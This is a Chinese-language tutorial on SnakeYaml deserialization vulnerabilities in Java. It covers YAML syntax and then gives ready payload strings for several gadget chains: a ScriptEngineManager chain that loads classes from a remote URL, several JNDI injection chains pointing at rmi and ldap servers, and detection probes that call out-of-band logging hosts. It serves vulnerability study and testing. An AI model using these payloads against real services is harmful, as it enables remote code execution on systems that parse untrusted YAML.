0x01 Yaml基础
SnakeYaml 是 Java 的 yaml 解析类库,支持 Java 对象的序列化/反序列化。
Yaml 语法
1、Yaml 大小写敏感
2、使用缩进代表层级关系,这点和properties文件的差别很大
3、缩进只能使用空格,只需要相同层级左对齐
Yaml 支持三种数据结构
1、对象
使用冒号代表,格式为key:value
。冒号后面要加一个空格
可以使用缩进代表层级关系
1
2
3
|
key:
chind-key:value
chind-key2:value2
|
2、数组
使用一个短横线加一个空格代表一个数组
1
2
3
|
hobby:
- Java
- Python
|
3、常量
Yaml 中提供了多种常量结构,包括:整数、浮点数、字符串、NULL、日期、布尔、时间。
Demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
boolean:
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2022-07-28 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2022-07-28T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
|
SnakeYaml 序列化与反序列化
pom.xml
1
2
3
4
5
|
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
|
SnakeYaml 提供了Yaml.dump()
和Yaml.load()
两个函数对 yaml 格式的数据进行序列化和反序列化
Yaml.load() 参数是一个字符串或者一个文件,经过序列化之后返回一个 Java 对象
Yaml.dump() 将一个对象转换为 yaml 文件格式
dump 是序列化,load是反序列化。
Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
package SerializeDemo;
public class Person {
private String name;
private Integer age;
public Person() {
}
public Person(String name, Integer age) {
this.name = name;
this.age = age;
}
public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
|
序列化和反序列化的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
package SerializeDemo;
import org.yaml.snakeyaml.Yaml;
public class YamlSerialize {
public static void main(String[] args) {
//serialize();
unserialize();
}
public static void serialize(){
Person person = new Person();
person.setName("huahua");
person.setAge(18);
Yaml yaml = new Yaml();
String str = yaml.dump(person);
System.out.println(str);
}
public static void unserialize(){
String str1 = "!!SerializeDemo.Person {age: 18, name: huahua}";
//String str2 = "age:18\n"+"name:huahua";
Yaml yaml = new Yaml();
yaml.load(str1);
//yaml.loadAs(str1, Person.class);
}
}
|
反序列化值!!SerializeDemo.Person {age: 18, name: huahua}
!!
类似于 Fastjson 的@type
用于指定反序列化的全类名
会自动调用getter/setter
方法
Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
package SerializeDemo;
public class Person {
private String name;
private Integer age;
public Person() {
}
public Person(String name, Integer age) {
this.name = name;
this.age = age;
}
public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}
public String getName() {
System.out.println("Function getName");
return name;
}
public void setName(String name) {
System.out.println("Function setName");
this.name = name;
}
public Integer getAge() {
System.out.println("Function getAge");
return age;
}
public void setAge(Integer age) {
System.out.println("Function setAge");
this.age = age;
}
}
|
看一下反序列化的时候发生了什么
调用了setter
方法,如果我把反序列化的语句改成"!!SerializeTest.Person {name: Drunkbaby}"
,那么就只会调用setter
中的setName
方法
同样,对于loadAs()
和loads()
同样如此
0x02 SPI 链
漏洞原理
类似于 Fastjson 漏洞,
与 Fastjson 不同的是,Fastjson 可以调用getter/setter
方法,而SnakeYaml
只能调用非public static 以及 transient
作用域的setter
方法
利用SPI机制-基于 ScriptEngineManager 利用链
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
newInstance:396, Class (java.lang)
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
construct:557, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:341, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
main:10, Demo (BasicKnow.SnakeymlUnser)
|
EXP
1
2
3
4
5
6
7
8
9
10
11
12
|
package SerializeDemo;
import org.yaml.snakeyaml.Yaml;
public class SPIEngineScriptExp {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://3c824ba6.log.dnslog.biz\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
|
但是这个 EXP 只能简单的进行检测,实现 RCE,需要用到 Github 项目
https://github.com/artsploit/yaml-payload/
直接修改代码即可,脚本也比较简单,就是实现了ScriptEngineFactory
接口,然后在静态代码块处需填写执行的命令。
SPI机制
SPI 以及 ScriptEngineManager 最早是在 SpEL 表达式里面被提到的。
SPI,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath路径下的META-INF/services
文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现
那么如果需要使用SPI机制需要在Java classpath下的META-INF/services/
目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
SPI 是一种动态替换发现的机制,比如有个接口,想运行时动态的给它添加实现,只需要添加一个实现。
0x03 SnakeYaml 反序列化漏洞的 Gadgets
基础知识
先来看一下SPI链子的 EXP
1
2
3
|
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://dnslog.cn\"]]]]\n";
|
这里的[!!
是作为javax.script.ScriptEngineManager
的属性的,就等于我调用了javax.script.ScriptEnginemanager
这个类,其实我是在调用它的构造函数,如图,
传进去的URLClassLoader
是作为ClassLoader
传进去的,所以这个就传成功了
那么后面的java.net.URL
呢,它是以[[!!
开头,说明是URLClassLoader
的内部属性,可以去看URLClassLoader
的构造函数,要求我们传入一个 URL 类,所以 EXP 是这样来的
JdbcRowSetImpl
调用链比较简单,尾部是 JNDI 注入,是在com.sun.rowset.JdbcRowSetImpl
的connect()
方法
在setAutoCommit
是可被利用的setter
方法
于是调用链就是
1
2
3
4
5
|
JdbcRowSetImpl#setAutoCommit
JdbcRowSetImpl#connect
InitialContext#lookup
poc
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/xfe5br\",autoCommit: true}";
|
Spring PropertyPathFactoryBean
EXP
1
2
3
4
5
|
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
" propertyPath: ccccc\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Exploit\"]";
|
Apache XBean
无版本限制
1
2
3
4
5
|
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>
|
链尾
在ContextUtil
的内部类ReadOnlyBinding
里面的getObject()
方法里面,调用了ContextUtil.resolve()
跟进看一下resolve()
,在这里第 55 行,找到一个 JNDI 注入点
此处就可以找到我们的链尾了
EXP的分析与构造
1
2
3
4
|
String payload = "!!javax.management.BadAttributeValueExpException " +
"[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " +
"[\"huahua\",!!javax.naming.Reference [\"foo\", \"JndiCalc\", \"http://localhost:7777/\"],"+
"!!org.apache.xbean.naming.context.WritableContext []]]";
|
在BadAttributeValueExpException
类中,构造函数对 val 进行了赋值操作,并且调用了其toString()
方法
赋值为org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
类,但是ReadOnlyBinding
类中并没有toString
方法,但其父类存在
并且正好调用了getObject()
方法,进行了 JNDI 注入
C3P0 JndiRefForwardingDataSource
打 C3P0 的这条链子
1
2
3
|
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost/Exploit\"\n" +
" loginTimeout: 0";
|
C3P0 WrapperConnectionPoolDataSource
EXP
打二次反序列化
1
2
|
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;\"";
|
Apache Commons Configuration
依赖包
1
2
3
4
5
|
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
|
payload如下
1
|
String payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:1389/xfe5br\"]]: 1";
|
在对ConfigurationMap
调用hashCode()
的时候实际上执行了java.util.AbstractMap#hashCode()
之后就会调用org.apache.commons.configuration.ConfigurationMap.ConfigurationMap.ConfigurationSet#iterator()
之后就可以配置 JNDIConfiguration 实现 JNDI 注入
1
2
3
4
|
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
|
0x04 SnakeYaml的探测
SPI的探测链子
1
2
3
|
String payload = "!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"http://3c824ba6.log.dnslog.biz\"]]]]\n";
|
使用 key 调用 hashCode 方法探测
EXP
1
|
String payload = "{!!java.net.URL [\"http://ra5zf8uv32z5jnfyy18c1yiwfnle93.oastify.com/\"]: 1}";
|
探测内部类
1
|
String payload = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
|
在前面加上需要探测的类,如果在反序列化过程中没有报错,说明反序列化成功了,存在该类
这里创建对象的时候使用的是{}
这种代表无参构造,所以需要存在无参构造函数,不然需要使用[]
进行复制构造